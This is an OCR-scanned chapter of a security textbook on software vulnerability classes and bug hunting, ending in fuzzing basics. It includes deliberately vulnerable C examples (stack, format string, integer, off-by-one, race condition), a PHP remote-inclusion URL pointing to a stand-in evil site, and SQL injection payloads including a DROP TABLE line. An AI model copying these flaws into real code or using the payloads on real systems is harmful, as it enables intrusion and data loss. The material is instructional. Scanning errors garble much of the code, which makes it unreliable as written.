@ stack.exe has stopped working

EHg| ¥ 2 Windows can check online for a solution to the problem.

View Debug Tools Window

=1
= | <» Check online for a solution and close the program

| <» Close the program 1

Jint lame func(char * str)

£ <» Debug the program
char buff[10];
if (str == 0)
return -1; j View problem details

strcpy (buff, str):
//return address is clobbered here if the argv[l] >= 14 (depending on Architecture)

Jint main({int argc, char * argv[])

lame_func(argv[1l]):
//When the function returns from lame func() the attacker may now have control

itrator: Command Prompt - stack.exe helloAAAAAAAAAAABBEEBEEEBEEEBE

red\book\chapters\2\code>stack.exe hello

red\book\chapter code>stack.exe helloAAAA

red\book\chapter code>stack.exe helloAAAAAAAAAAABBBBBBBBE

Figure 2.4 Demonstration of a stack overflow.

This is because printf used the %x as the format character. The normal arguments
on the stack for a printf(“%x”, num); would be the “%x” (format character), and
the number that the programmer wants printed. In our example, the printf printed
the next value on the stack after the format string, as it was instructed to do. In
this case, since there was no legitimate data supplied by the programmer, it grabs
and prints the next value that happened to be on the stack (like a local variable,
frame pointer (ebp), return address, etc.). So this technique could be used to scan
the stack memory for interesting values. Similarly, a %d, %s, and more will print
values off the stack. However, the %n can be used to write a value in memory. %n
prints the number of bytes formatted to an address specified on the stack. A typical
exploit would use a combination of these techniques to overwrite a function pointer
or return address to gain control of the program.!?

The following snippet of code and screen shot (Figure 2.6) give a demonstration
of another format string in action:

int main(int argc, char * argv[])
{
if( argc !'=2 )
{
printf(“Not enougy args, got:\r\n”);
printf(argv[1]);
exit(-1);

12The paper found at http://julianor.tripod.com/bc/formatstring-1.2.pdf gives a good detailed
explanation.
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printf(“Doing something useful in this part of code.\r\n”);

Figure 2.6 shows the execution of that code. As the parameters (the %s%x) are
changed, varying information could be extracted off the stack or modified.

2.4.1.3 Integer Errors

This class of bugs is commonly referred to as an integer overflow, but this label
isn’t completely descriptive. Numerical wrapping, field truncation, or signedness
problems might be more descriptive terms. Review the following snippet of code:

#include <stdio.h>
#include <string.h>

int calc(unsigned short len, char * ptr) //implicit cast to short
{

if(len >= 10)
return -1;
printf(“s = %d\n”, len);
return 0;
}

int main(int argc, char *argv[])
{
int i;
char bufl[107; //static buf == bad

if(argc != 3)

{
printf(“Bad args\r\n”);
return -1;

}

i = atoi(argv[l]);

if( calc(i, argv[2]) == -1)
{
printf(“Oh no you don’t!\n”);
return -1;
}
memcpy (buf, argv[1], i);//using the int version of the len
buflil = “\0’;

printf(“%s\n”, buf);
return 0;



48

Software Vulnerability Analysis
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Figure 2.5 A register and stack trace from a debugger of above attack.

B8 Administrator: Command Prompt 1ol x|

.code>format.exe
got:

hapter 2\code>_

Figure 2.6 Demonstration of a format string vulnerability.
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Figure 2.7 shows the execution of the code. Why does the program crash when
provided the string “65536”? Note that the input is cast as a signed integer by
atoi(argv[1]). It is then recast as an unsigned short by the “s = i;” code. An int
or dword on most systems is 32 bits. The original string input was translated to
0x00010000. Since a short is only 16 bits, that was truncated to 0x0000. Thus,
s was less than 10, but i=65536, which is enough to clobber the 10-byte buffer in
the memcpy(buf, argv(2], i).

Also, if a number is read in as signed or unsigned, but then used as the opposite
in a later comparison, similar issues can occur.

2.41.4 Off-by-One

An off-by-one error typically indicates that one too many bytes have been written
to a particular buffer. On some systems (particularly little endian architectures,
like Intel’s x86 architecture), this can lead to an exploitable condition if the buffer
is directly next to the frame pointer (ebp) or some other function pointer.!3 A typi-
cal bad slice of code might look like:

int off_by_one(char *s)
{
char buf[32];
memset (buf, 0, sizeof(buf));
strncat(buf, s, sizeof(buf));
}

The strncat copies one too many bytes, because it copies the stated size,
sizeof(buf), plus one extra byte, a NULL or 0x00. Again, if this buffer is right
next to the frame pointer ebp, it would become something like 0x08041200. The
least significant byte (LSB) became null. An x86 stack wind/unwind is as follows:

1. pushes
a. Puts function arguments on the stack

root@® localhost:/mine/book

Fle Edit View Terminal Tabs Help
[root@localhost book]# ./width 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA
=15

[»]

s
5
[root@localhost book]# ./width 30 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAN

Oh no you don't!

[root@localhost book]# ./width 65536 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAN

s=0

Segmentation fault

[root@localhost book]# I

Figure 2.7 Executing the example code with off-by-one error.

B3This is the same basic problem as a standard stack overflow, except that the exploitation is different.
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2. call
a. Pushes the next executable instruction address (return address) to stack
3. entr
a. Pushes ebp to stack
b. Sets ebp = esp
c. Makes room for local variables on the stack by subtracting that amount
from the stack pointer
4. leave
a. Sets esp = ebp
b. Pops dword from esp — ebp
S. ret
c. Pops dword from esp — eip

If the saved ebp was corrupted, the stack pointer preceding the second return
will not be in the correct place. Since the LSB was nulled, it is possible that when
the return executes, esp will be pointing in the user-supplied buffer that caused
the off-by-one error. This could lead to a compromise, or as is generically said,
arbitrary code execution. Stack padding done by some compilers can mitigate such
attacks. And of course, other newer protections (yet to be described) can also miti-
gate such attacks.

2.41.5 Heap Overflow

A heap overflow is when data is written beyond the boundary of an allocated chunk
of memory on the heap. Heap memory (in C/C++) is allocated at run-time with the
malloc() family of functions. As with stack overflows, control information is stored
in-band, which, when overwritten with attacker-supplied data, can allow execu-
tion redirection. As with stack overflows, there are various ways and circumstances
under which this vulnerability will be exploitable or not. Various protections, such
as heap integrity checking, can be put in place to help prevent such attacks.

Exploiting in-band heap information is a little more complex than overwrit-
ing a stack return address or SEH pointer. It is also very dependent on the specific
implementation of the malloc library of interest. This is no surprise, since even
exploiting stack overflows is different for Windows and Linux, so certainly it will
be different with heap attacks. A detailed explanation of a heap overflow on vari-
ous platforms is beyond the scope of this book. For now, it’s enough to understand
that a traditional dlmalloc (the “Doug Lea” malloc implementation on GNU libc)
involves the removal of a corrupted item from a doubly linked list. When the meta-
data to this item is corrupted, it gives the attacker the ability to perform an arbitrary
4-byte write anywhere in memory. Typically, a function pointer in the GOT, or a
stack return address, will be overwritten with an address that points to shellcode.
The next time that function (say printf) is called, or when the function returns,
attacker code will be executed.

Another common way to exploit heap overflows is to arrange the heap so that
other application data follows the buffer being overflown. This other data may
contain function pointers or other important data structures.
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2.41.6 (Uninitialized) Stack or Heap Variable Overwrites

This is a newer class of bugs, and one that is often difficult to successfully exploit.
Examine the following example:

int un_init(char *s) ({

char buf[32];

int Togged_in;

if ( strlen(s) > 36)

{
printf(“String too long!\r\n”);
logged_in =0;

}

else
strncpy(buf, s, strlen(s) );

if (logged_in == 0x41414141)
printf(“hi -- you should never see this, because logged_in is
never set by program code.\r\n”); }

int main(int argc, char * argv[])
i

un_init(argvl1]);
}

# ./uninitialized aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbCCCCDDDD
String too Tong!

# ./uninitialized aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbCCCC

# ./uninitialized aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbAAAA
hi -- you should never see this, because logged_in is never set by
program code.

Note there is an integer in the program that is never initialized to a value. In
this example, since a straight overwrite occurs, it is irrelevant that it is uninitialized,
but in some cases that is key. In this simple case, if just the right string is sent, the
internal operation of the program can be alerted in ways not intended. Whether
variable overwrites are exploitable is always application-dependent and requires a
heavy amount of reverse engineering and code flow analysis.

2.41.7 Other Memory Overwrites

As we have seen from stack, heap, and variable overflows, any time an attacker can
modify the internal memory of an application in unintended ways, bad things can
happen, including the attacker’s gaining complete control of the system. Thus, we
should not be surprised to learn that if data in other parts of the program can be
modified, an attack might also succeed. Overwriting function pointers is another
attacker favorite. Also, credential information stored in the BSS or data segment
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could be interesting to read from (think format string bug) or write to. The point is
if arbitrary memory read or writes are possible, unintended consequences may result.

2.4.2 Web Applications

The internet has been growing exponentially since its inception. With 7.3 million
pages being added each day,' it is safe to assume a secure future for those auditing
Web applications for security. We will examine some common Web bugs. Note that
these types of problems are not unique to the Web. For example, VoIP systems are
known to have all the same types of flaws, as can any other system that will pass
user-provided data forward to a script, database, or any other system.

2.4.2.1 PHP File Inclusions

PHP is one of the many programming languages used to create interactive Web
pages. A remote file inclusion (RFI) is an attack that sometimes allows an attacker
to run his own code on a website. Register_globals is ON by default in PHP ver-
sions previous to 4.2.0. When the register_globals parameter is ON, all the EGPCS
(Environment, GET, POST, Cookie, and Server) variables are automatically regis-
tered as global variables. This allows attackers to define a variable by simply editing
a URL. For example, consider the following vulnerable line of PHP:

include($mypage . ‘/specialfile.php’);
Links from this application may appear as follows:
www.nicecompany.com/index.php?mypage=localfiles

But, because the $mypage variable isn’t specially defined, the URL could be
manually edited to this:

www.nicecompany.com/index.php?mypage=http://www.evilsite.com/

The include function instructs the server to retrieve the remote file and run
its code. If this server is running a vulnerable version of PHP, the attacker would
now have a webshell, sometimes referred to as a ¢99 shell (all without any type of
buffer overflow, shellcode, etc.). The c99 allows the attacker to view and edit files
as well as possibly elevate privileges. Again, newer versions of PHP have corrected
this error by setting the register_globals to OFF (although some administrators will
turn this back on because older applications may require it). Other measures such
as clearly defining all variables and safer URL parsing should also be implemented.
Another important configuration parameter is the open_basedir parameter, which
should be set to the base directory where the main site file (index.php in this case) is
located. This prevents attackers from reading in any local file from the Web server

4www2.sims.berkeley.edu/research/projects/how-much-info/internet.html.
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by restricting access to the preconfigured directory. This is especially important in
a shared hosting environment.

2.4.2.2 SQL Injections

Many applications, especially Web applications, use a structured query language
(SQL) database backend to process user requests. For e-commerce sites, this is nec-
essary to receive customer billing information and retrieve customer requests about
offered products. If proper input validation is not preformed, a malicious attacker
could craft special SQL queries to either retrieve information it should not have
access to, force authentication statements to be true, or to inject SQL commands
(such as adding a user) that it should not be able to run. In some situations, attack-
ers may even be able to read files or run arbitrary code on the system. The single-
quote character is of particular interest because it tells the SQL system to escape
the currently executing command and run a new one. Supposed the following line
of SQL is used to process a username:

statement := “SELECT * FROM users WHERE name = *” + username + “’;”
If, for the username, an attacker inputs:

b’ or ‘c’=’c

The effective SQL command would be

SELECT * FROM users WHERE name = ‘b’ or ‘c’=’c’;

Then this query would return data that could have the effect of bypassing
authentication and allowing an attacker to log in, since the conditional clause is
always true as ¢ always equals c. If the attacker were to input

b’ ;DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%

the user table would be deleted and information from the data table would be retrieved.

A newer variation on this technique is called blind SQL injection. During a blind
SQL injection, the attacker is looking at a perfectly valid page that continues to be
displayed, whereas in typical SQL injection attack, the attacker is looking for error
messages to help further the attack. In a blind SQL injection, one can test a page by
verifying what a noninjected page looks like, let’s say a set of hockey scores, then
the attacker begins inserting values into the request much like a traditional SQL
injection. A properly crafted application will deny the extra characters and return
a “404 not found” or a generic error page. If the attacker still receives the set of
hockey scores, even with the injection, then the application may be vulnerable. This
type of vulnerability is useful for determining database and table names, enumerat-
ing passwords, and gathering other information that can be used as stepping-stones
to later attacks.
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2.4.2.3 XPath, XQuery, and Other Injection Attacks

Metacharacter injection, like the single tick used in SQL injection, is actually part
of a generic vulnerability class that occurs whenever one language is embedded in
another. SQL, Shell, XML, HTML, LDAP search filters, XPath, XQuery HDL,
JDOQL, EJBQL, OQL, for example, are some of the areas where injection issues
have been located.

There appears to be no universal fix for this bug class. If programmers prop-
erly escaped user input, most of these attacks would disappear, but if programmers
wrote perfect code, there would be no security bugs. As always, standard defense-
in-depth strategies, such as limiting the application’s privileges, should be employed.
In some cases, like SQL, there may be functions that provide relief. For example,
if SQL prepared statements are used, metacharacter injections are not possible. In
PHP, the mysql_real_escape_string(), is available to help filter potentially dangerous
input characters. Static or runtime analysis tools can also be used to scan particular
language bases for injection weaknesses.

2.4.2.4 Cross-Site Scripting

Cross-site scripting (XSS) is a common method for malicious Web users to abuse
the rights of other Web users of a particular site. In the typical scenario, two con-
ditions must be met: First, an attacker must determine a page on the website of
interest that contains a XSS vulnerability. That means the site must accept input
and then attempt to display it without filtering for HTML tags and/or (Java/other)-
script code. Second, the attacker must select a victim, desired data, mechanism of
coercion, and mechanism of retrieval. The desired data might be the victim’s login
cookie, and the method of coercion might be a spoofed e-mail from the site’s admin.
The collection mechanism might be a bogus website designed to collect such data.
Once this is all ready, the attacker sends the victim the e-mail with the XSS link.
If the victim clicks on the link, the attacker will now have a cookie since the script
code, say JavaScript, will be executed in the victim’s Web browser. This code may
send the contents of the victim’s cookies (including session IDs) to the attacker. Such
attacks could be automated to phish the masses on the vulnerable site.

There are two main types of XSS vulnerabilities, reflected and stored. The
scenario described above is of the reflected variety. Reflected XSS vulnerabilities
dynamically execute scripting language code included with a request. In the above
case, the code to send the victim’s login cookie would have been included in the
particular link sent to the victim. It is called reflected because the malicious code is
sent by the victim by following the link to the vulnerable server, which then reflects
it back to the victim’s browser for execution. This code then runs in the context of
the trusted site. The other type of attack is called a stored XSS vulnerability. In this
case, the vulnerable Web application is designed in such a way that the user input is
permanently stored on the server and displayed (and executed) by any viewer to that
page. Examples might be Web forums or blog comments. This type is particularly
nasty since any visitor to the site can be compromised.

Defeating XSS attacks is similar to defending against other types of code injec-
tion. The input must be sanitized. User input containing HTTP code needs to be
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escaped or encoded so that it will not execute. Additional, systemwide measures
such as Content Security Policy may be set as well to eliminate XSS attacks.

2.4.3 Brute Force Login

Brute force simply means trying something over and over again until a desired con-
dition occurs. On systems that have no limit on attempted logins, user/password
combinations can be continually tried until a success is found. This is true of more
than just logins. Credential cookies on webpages and URL guessing to view files,
for example, can be used. Brute force attacks can also target usernames or phone
numbers with common passwords and pins, by enumerating through all possible
voice mail numbers with simple pins like “0000” or “2580,” as someone is bound
to use those. Enforcing strong passwords, monitoring logs, and limiting access
attempts from similar IPs can be an effective way to mitigate such attacks. Note:
If automatic blocking (blacklisting) is present, the system may be vulnerable to a
denial of service attack. In this scenario, an attacker purposely fails to log in as the
victim many times. When the system locks the victim’s account, the victim can no
longer access his or her own legitimate account.

2.4.4 Race Condition

Race conditions are vulnerabilities that arise due to unforeseen timing events. A
standard example can be seen from the following code excerpt from an application
running at higher privileges.

if(laccess(tempfilename, W_O0K)){
fp = fopen(tempfilename, “a+”);
fwrite(user_supplied_info, 1, strlen(user_supplied_info), fp);
fclose(fp);

} else {

error(“User does not have write permission to temp file\n”;

}

Suppose this application is SETUID root (i.e., running at a higher privilege
level than the user who is using it). In this code, a temporary file is first checked
to make sure the user has permission to write to it. If so, it appends some user-
supplied data to the file. The problem here is the small amount of time that occurs
between the permission check in the access() call and the use of the file in the
fopen() call. This is sometimes called a time-of-check-to-time-of-use bug. During
that small window, the user can create a symbolic link from the temporary file to
a file he or she should not have access to, such as /etc/passwd. If timed just right,
this will allow an attacker to append arbitrary data to this file and thus add a
login account with super user privileges. This example shows that race conditions
can be particularly difficult to exploit, but with a little patience and the fact the
attacker can overload the system by fully utilizing system resources, attacks of
this nature are possible.
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2.4.5 Denial of Service

A denial of service (DoS) or distributed denial of service (DDoS) is the act of over-
whelming a system, service, or device to the point at which it can no longer service
legitimate requests. An early DoS attack was the SYN flood, in which an attacker
could take advantage of the inherent weakness of the TCP/IP stack by sending the
first portion of the TCP handshake, the SYN packet, but never sending acknowledg-
ments when the remote host responded. This could cause huge resource consump-
tion, socket limit errors, or CPU utilization if many of these requests were sent at
once. Now, these attacks can be lessened by firewall rules and settings inside vari-
ous operating systems.

At the application layer, denial of service attacks are also possible. The most
obvious example would be a network server that doesn’t spawn new connections
for each client attempt and also has a buffer overflow. If the attacker triggers the
overflow in a nonexploitable way, the likely result is application failure (crash) and
thus a DoS.

Also, if an attacker can find a scenario in which the application does a lot of
work while the attacker does only a little, this could result in a DoS. Imagine an
application that performs some complex cryptographic function or database lookup
in response to an attacker’s simple query. The attacker can generate many of these
simple queries very quickly while the application must perform an intensive action
each time. The result is that the application could become so overwhelmed that it
will not be able to perform well, if at all, for legitimate clients.

2.4.6 Session Hijacking

Session hijacking is the means of stealing a (often previously authenticated) session
from a remote user and gaining access to the system or service at that privilege level.
A common example of a session hijack is when a user has logged into a website
that stores credentials in a cookie, and an attacker is able to retrieve that cookie
and use it to bypass the authentication of the site the victim had recently visited. A
good countermeasure to session hijacking is the use of a time-based authentication
mechanism (a good base is Kerberos) combined with some cryptographic hash or
algorithm and an expiry time for an authenticated session.

2.4.7 Man in the Middle

A man in the middle (MITM) attack is one in which an attacker is able to sit between
a client and a server and read or inject information into the data stream that is going
to either side of the connection. There are prepackaged tools like ettercap that will
enable one to easily execute a MITM attack on a local LAN by using a technique
called ARP poisoning. This technique convinces the victim’s computer that the
attacking system is its default gateway and the gateway believes that the attacker
is the victim host. The attacker is then able to sniff (watch) all of the passing traf-
fic, and change any of the information in between. Again, strong encryption can
help to mitigate this risk, but it is always a major concern, especially in large or
public networks.
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2.5

2.4.8 Cryptographic Attacks

Cryptographic attacks are a way for an attacker to bypass an encryption or cryp-
tographic system by attacking weaknesses in the algorithm that employs it. There
are numerous methods for cryptanalysis that are far beyond the scope of this book,
but in recent years cryptographic attacks are becoming more prevalent as more and
more commercial products are relying on cryptography to protect their systems
and software.

Bug Hunting Techniques

Now that we know the types of vulnerabilities that exist, it is time to talk about
how to find them, which is what this book is all about. Traditionally, a hacker was
simply a technically inclined person who took a deep interest in the technology by
which he or she was surrounded. This led to incidents in which the individual had
the ability to make free long distance phone calls, bypass biometric authentica-
tions, or misuse RFID, which ultimately led the term to carry strong connotations
of misadventure or wrong doing.

While some mystery still surrounds the secret lives of hackers, most that are
involved in software vulnerability analysis operate in one of a few high-level man-
ners: reverse engineering, source code auditing, fuzzing, or acquiring/extending
borrowed, purchased, or stolen bugs. Since only the first three strongly relate to
this book, we will ignore the vast and varied channels by which bugs or exploits
are sold and resold.

Once a bug has been identified, the process of creating an exploit begins. A next
and equally involved step is the usage or deployment of such exploits, sometimes
called information operations. These topics are also beyond the scope of this book.

2.5.1 Reverse Engineering

Reversing engineering!> (RE or RE’ing) the internal design of a closed system,
software, or hardware package is a very useful skill that has both legitimate and
illegitimate uses. Like so many skills, the reverse engineer could be working for one
of many reasons, but as you'd expect we’re concerned with how RE could be used
to find bugs in software. The objective is clear: Turn compiled binary code back
into its high-level representation to understand the product, so that implementation
errors can be sought out. The process for doing this is nontrivial and potentially
time consuming. Traditionally, it was done by hand: Begin by using a disassembler
to retrieve a mapping from the binary op or byte codes, to the assembly language
instructions. Next, manually determine the purpose of a block of assembly instruc-
tions. Iterate until enough understanding has been gained to achieve the given task.
This process still largely involves manual inspection, but tools such as IDApro!®
and Bindiff!” exist to accelerate the task.

Bwww.openrce.org/articles is a good place to find more information about reverse engineering.
16For further information on IDA, check out https://www.hex-rays.com/products/ida/.
7For more information on Bindiff, see http://www.zynamics.com/bindiff.html.
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The following is a disassembled function, as shown in IDApro:

var_28= dword ptr -28h
var_24= dword ptr -24h
var_20= dword ptr -20h
var_1C= dword ptr -1Ch
var_l4= dword ptr -14h
var_b= byte ptr -5
second_operand= dword ptr 8
first_operand= dword ptr 0Ch

push
mov
push
sub
mov
mov
call
mov
mov
mov
call
mov
mov
mov
lea
mov
call
lea
mov
mov

call
mov

call
call
mov
cmp
jz

ebp

ebp, esp

ebx

esp, 24h ; char *

eax, [ebp+first_operand]

[esp+28h+var_287, eax

_atoi

ebx, eax

eax, [ebp+second_operand]

[esp+28h+var_28], eax

_atoi

[esp+28h+var_1C], ebx

[esp+28h+var_20], eax

[esp+28h+var_24], offset aDAndD ; “%d and %d”
eax, [ebpt+var_14]

[esp+28h+var_28], eax

_sprintf

eax, [ebpt+var_14]

[esp+28h+var_24], eax

[esp+28h+tvar_28], offset aTooManyArgumen ; “Too many
arguments...”

_printf

[esp+28h+tvar_28], offset aProceedAnyway? ; “Proceed anyway?
Ly/n]\r”

_puts

_getchar

[ebp+var_57, al

[ebp+var_5]1, 79h

short 1oc_8048657

One goal might be to turn this assembly code listing back into its original code.
This is called decompilation. In general, for high-level languages such as C and C++,
the act of decompilation is infeasible at best. Consider that many different versions
of source code can correspond to the same assembly instructions. Also, aggressive
compiler optimizations can make decompilation difficult. The following is the
original C source code for the function disassembled above:

int error(char * a, char * b)

{
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char small_buff[15];

char c;

sprintf(small_buff, “%d and %d”, atoi(a), atoi(b) );

printf(“Too many arguments were supplied. Only the first two (%s)
would get used.\r\n”, small_buff);

printf(“Proceed anyway? [y/nJ\r\n”);

c = getchar();

ifC c= "y || c=="Y")
do_addition(a, b);
else

printf(“0k, try again with better arguments.\r\n”);

However, it is not necessary to revert the application back to its original source
code in order to identify bugs. Good vulnerability analysts know that ‘sprintf’ is a
dangerous function (if the input is not trusted and used improperly), whether they
see it in a source code listing or in a disassembly of a binary. This sample code
does contain an error. In the source code, we see that ‘small_buff’ is only 15 bytes
long. We know that an integer (%d) when printing into a buffer can be as large as
10 bytes. The “and” portion of the buffer takes up 5 bytes. So, in total, 10 + 10 +
5 =25 bytes can be written. Since that is larger than the space allocated, a buffer
overflow can occur here. While this is a contrived example, it does illustrate an
interesting point. If this function normally is used with only small integers passed to
it, the buffer will not typically overflow. It could be used by thousands of users all
the time without turning up the bug. It is only in extreme circumstances in which
this vulnerability will affect the execution of the program.

Understanding the size of ‘small_buff’ is a little more difficult from the disas-
sembly. ‘24h’ is subtracted from the stack, indicating the amount of space reserved
for local variables—only a portion of that space is the undersized buffer. Sometimes
an apparent bug seen in the source code will not exist in the binary depending on
how the compiler behaves. Therefore, a manual test of this potential flaw would
have to be conducted to prove or disprove this statically discovered bug.

Source code auditing is also used to analyze flaws. While this process might
appear easier or more logical than reverse engineering (since the actual program
source is available), such is not always the case. For example, a popular way to
employ Bindiff is to look at one version of a Microsoft application, then examine a
new version that has just been patched for security reasons. The difference between
the two should yield the original bug. Such a technique might identify bugs much
quicker than an entire review of a large code base.

Also, more than a few professional hackers have expressed that sometimes the
spotting of implementation flaws in assembly can actually be easier than in source
code. This is because complex lines of C or other high-level languages can be con-
voluted and hard to read. This could also be due to numerous macros, missing code
that is not linked in or expanded until compile time. Having said all that, there
certainly are advantages to having source code. Complex structure can quickly
be understood, comments are a huge advantage, and the auditor can simple grep
(search) for arbitrary combinations of code that could be problematic.
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2.5.2 Source Code Auditing

Source code auditing typically involves using automated tools, plus manual veri-
fication, to search source code for bugs. The source could be any type (a library,
headers, main program code) and in any language. The process will vary from
language to language.'®

Again, to augment performing source code audits by hand, a variety of open
source and commercial tools exist to help highlight suspect code. The commercial
tools from companies like Coverity and Fortify tend to be very sophisticated and
capable of finding many different classes of vulnerabilities. The biggest drawback,
with regard to these static analysis tools, is the presence of false positives. While
these tools take care to minimize them, it is impossible to completely eliminate false
positives, and some code that is not problematic will be identified as a vulnerability.

As an open source example, Figure 2.8 illustrates the usage of the Rough Audit-
ing Tool for Security (RATS)! to analyze the following program:

ffinclude<stdio.h>

void copy(char * ptr)
{
char buf[1007;

strcpy(buf, ptr);
printf(“You entered: %s. Horray!\r\n”);

}
int main(int argc, char * argv[])
{

\jared\ferris\eet_412\Tabs\1abl2>rats buggy.c

Entries in perl database: 33

Entries in python database: 62

Entries in c database: 334

Entries in php database: 55

Analyzing buggy.c

buggy.c:5: High: fixed size Tocal buffer

Extra care should be taken to ensure that character arrays that are allocated

the stack are used safely. They are prime targets for buffer overflow

attacks.

buggy.c:7: High: strcpy
Check to be sure that argument 2 passed to this function call will not copy
more data than can be handled, resulting in a buffer overflow.

Total 1lines analyzed: 22
Total time 0.031000 seconds
709 1ines per second

Figure 2.8 Running RATS against a trivial C source code file.

180ne recommended reading discussing code auditing in more detail is The Art of Software Security
Assessment: Identifying and Preventing Software Vulnerabilities, by Mark Dowd, John McDonald,
and Justin Schuh.

Yhttps://code.google.com/p/rough-auditing-tool-for-security/.
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2.6

if( argc != 2)

{
printf(“bad args\r\n”);
exit(-1);

}
copy(argv[11);

In this simple case, the RATS tool effectively highlights the buffer overflow that
is present in the code. Note that it doesn’t actually prove the existence of a vulner-
ability, rather via the usage of heuristics states that one might exist because strcpy
was used. Therefore, even code using strcpy completely safely would be identified
(wrongly) as being potentially vulnerable. However, more sophisticated tools such
as those by Fortify and Coverity have a more sophisticated understanding of the
code and so can do a better job at identifying which strcpy’s are actually problem-
atic, among other things.

Fuzzing

The final remaining method of finding bugs is the actual topic of this book: Fuzz-
ing. One of the main strengths of fuzzing is that if an input crashes an application,
a problem definitely exists in the application (no false positives). It should be noted
that both source code audits and reverse engineering are (traditionally) a purely
static method for understanding the operation (and misoperation) of a given appli-
cation. However, actually executing the target for a few minutes can often yield
more understanding than hours of reverse engineering, at least from a high level.?°
What if no understanding of an application was available and all we could do was
supply input? What if, for whatever reason, when we supply a malformed input, the
target crashes? This is the essence and origin of fuzzing. One of the first people to
employ fuzzing was Professor Barton Miller. He found that if random inputs were
given to core Unix command line utilities (like Is, grep, ps, passwd, etc.) many of
them would crash. This lack of robustness surprised him, and he went on to write
one of the first automated tools designed specifically to crash programs. His fuzzing
tool was dumb. However, in this context, the word dumb does not mean stupid. It
means that his fuzzing tool had no knowledge of what inputs these programs might
be expecting. That is, he merely sent random data as arguments to the functions.
Conversely, if his tool had been intelligent, it would have known that command a
always expects arguments b, in the forms ¢, d, or e. In later sections we’ll explain
when, where, and how nonintelligent/intelligence should be applied and balanced.
We’ll look at a number of topics, including how to build a fuzzer, how to reach the
lowest level of a protocol or application, types of fuzzers, where and when fuzzers
are most effective, what metrics to consider when fuzzing, and finally current and
future trends and research.

20Paper on high-level reverse engineering is available here: www.net-security.org/article.php?id=1082.
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2.6.1 Basic Terms

Coverage is an important term that is used in testing, and the same applies for fuzz-
ing. From a vulnerability analysis perspective, coverage typically refers to simple
code coverage—that is, how many lines of the existing source code or compiled code
have been tested or executed during the test. Coverage could also measure path,
branch permutations, or a variety of other code coverage metrics.

A related term to coverage is attack surface: the amount of code actually exposed
to an attacker. Some code is internal and cannot be influenced by external data.
Examples of this include when a network server parses a configuration file or ini-
tially binds to a socket. This code should be tested, but cannot be externally fuzzed.
Since it cannot be influenced by external data, it is of little interest when finding
vulnerabilities. Thus, our interests lie in coverage of the attack surface. This is espe-
cially true for security researchers. Quality assurance professionals may be tasked
to test all of the code.

A trust boundary is any place that data or execution goes from one trust level
to another, where a trust level is a set of permissions to resources. For example,
data sent across a network to an application that parses that data is an example of
crossing a trust boundary. If the root user of a Unix system is the only one able to
start a given application (via command line arguments), priority would probably go
to fuzzing the network interface (assuming all or most untrusted users can access
the interface) instead of the command line arguments. This is true for two reasons:
A remotely exploitable bug is more interesting to attackers (since it can be done
remotely), but in terms of trust boundaries, an elevation of privilege (from none to
whatever the process runs as) can occur in the remote situation. Conversely, if the
user must already be root to gain root privileges (unless a tricky method is devised
to run the binary without root privileges), nothing has been gained, plus the attack
would only be local. The reading of the full-disclosure mailing list will often reveal
vulnerabilities in software if the application runs in an elevated privilege level. In
reality, many programs do not run at an elevated privilege level (think s, rm, cat), so
a bug in these programs may not have security implications.?! Priority is important
to software companies and attackers alike because the problem of finding bugs is
difficult and time consuming. Neither is willing to waste much time (money) for
purely academic reasons; fuzzing is known for its ability to produce results.

Input source and input space are similar terms that refer to how data will be
generated (and ultimately delivered) to the application to be fuzzed (the target). The
input space is the entire set of all possible permutations that could be sent to the
target. This space is infinite, and that is why heuristics are used to limit this space
to be explored. Attack heuristics are known techniques for finding bugs in applica-
tions, normally based on the types of bugs discovered in the past.

2.6.2 Hostile Data??

To find a vulnerability, you need to know what types of inputs will trigger the flaws.
And when you know why these inputs will cause an exception or a crash, you will

21Unless those commands are executed by scripts running in higher privileges.
22Each bug type (buffer overflow, format string, etc.) is further described in Section 2.7.
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be able to optimize the tests that you need to do. The examples below illustrate a
few simple heuristics against a typical (imaginary) simple string-based client-server
protocol.?3

1. Buffer overflows are tested with long strings. For example:

[Client]-> “user jared\r\n”
“user Ok. Provide pass.\r\n” <-[Server]
[Client]-> “pass <5000 ‘A’s>\r\n”

2. Integer overflows are tested with unexpected numerical values such as: zero,
small, large, negative: wrapping at numerical boundaries—2"4, 28, 216,
2724: wrong number system—floats vs. integers. For example:

[Client]-> “user jared\r\n”

“user Ok. Provide pass.\r\n” <-[Server]

[Client]-> “pass jared\r\n”

“pass Ok. Logged in. Proceed with next command.\r\n” <-[Server]
[Client]-> “get [-100000.98] files: *\r\n”

Format string vulnerabilities are tested with strings such as:

[Client]-> “user <10 ‘%n’s>”

“%n’s are useful because of the way the printf family of functions were
designed. A percent sign followed by a letter is referred to as a format
string.>* The ‘n’ is the only switch that triggers a write and is therefore use-
ful for triggering a crash while fuzzing. ‘x’ or ‘s> may actually be a better
choice in some cases, as the ‘n’ usage may be disabled.?’

3. Parse error: NULL after string instead of \r\n. Bad string parsing code might
be expecting a linefeed (\r or 0x0d) or newline (\n or 0x0a) in a given packet
and may incorrectly parse data if nothing or a NULL exists in its place. The
NULL (0x00) is special because string functions will terminate on it, when
perhaps the parsing code wouldn’t expect it to since no new-line is present.
[Client]-> “user jared0x00”

4. Parse error: Incorrect order and combined commands in one packet. Often,
network daemons expect each command to arrive in a separate packet. But
what if they don’t? And what if they’re out of order, and all strung together
with linefeeds in one packet? Bad things could happen to the parser.
[Client]-> “pass jared\r\nuser jared\r\n”

5. Parse error: Totally random binary data. If there is a particular character(s)
that the parser is looking for but might not handle well in an unexpected
scenario, this might uncover such an issue.

[Client]-> “\xff\xfe\x00\x01\x42\xb5...”

6. Parse error: Sending commands that don’t make sense—multiple login.
Design or logic flaws can also sometimes be uncovered via fuzzing.
[Client]-> “user jared\r\n”

“user Ok. Provide pass.\r\n” <-[Server]
[Client]-> “pass jared\r\n”

23For more example inputs from web fuzzing, see www.owasp.org/index.php/OWASP_Testing_
Guide_Appendix_C:_Fuzz_Vectors.

24See Section 2.7.1.1.

25See http://blogs.msdn.com/michael_howard/archive/2006/09/28/775780.aspx.
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“pass Ok. Logged in. Proceed with next command.\r\n” <-[Server]
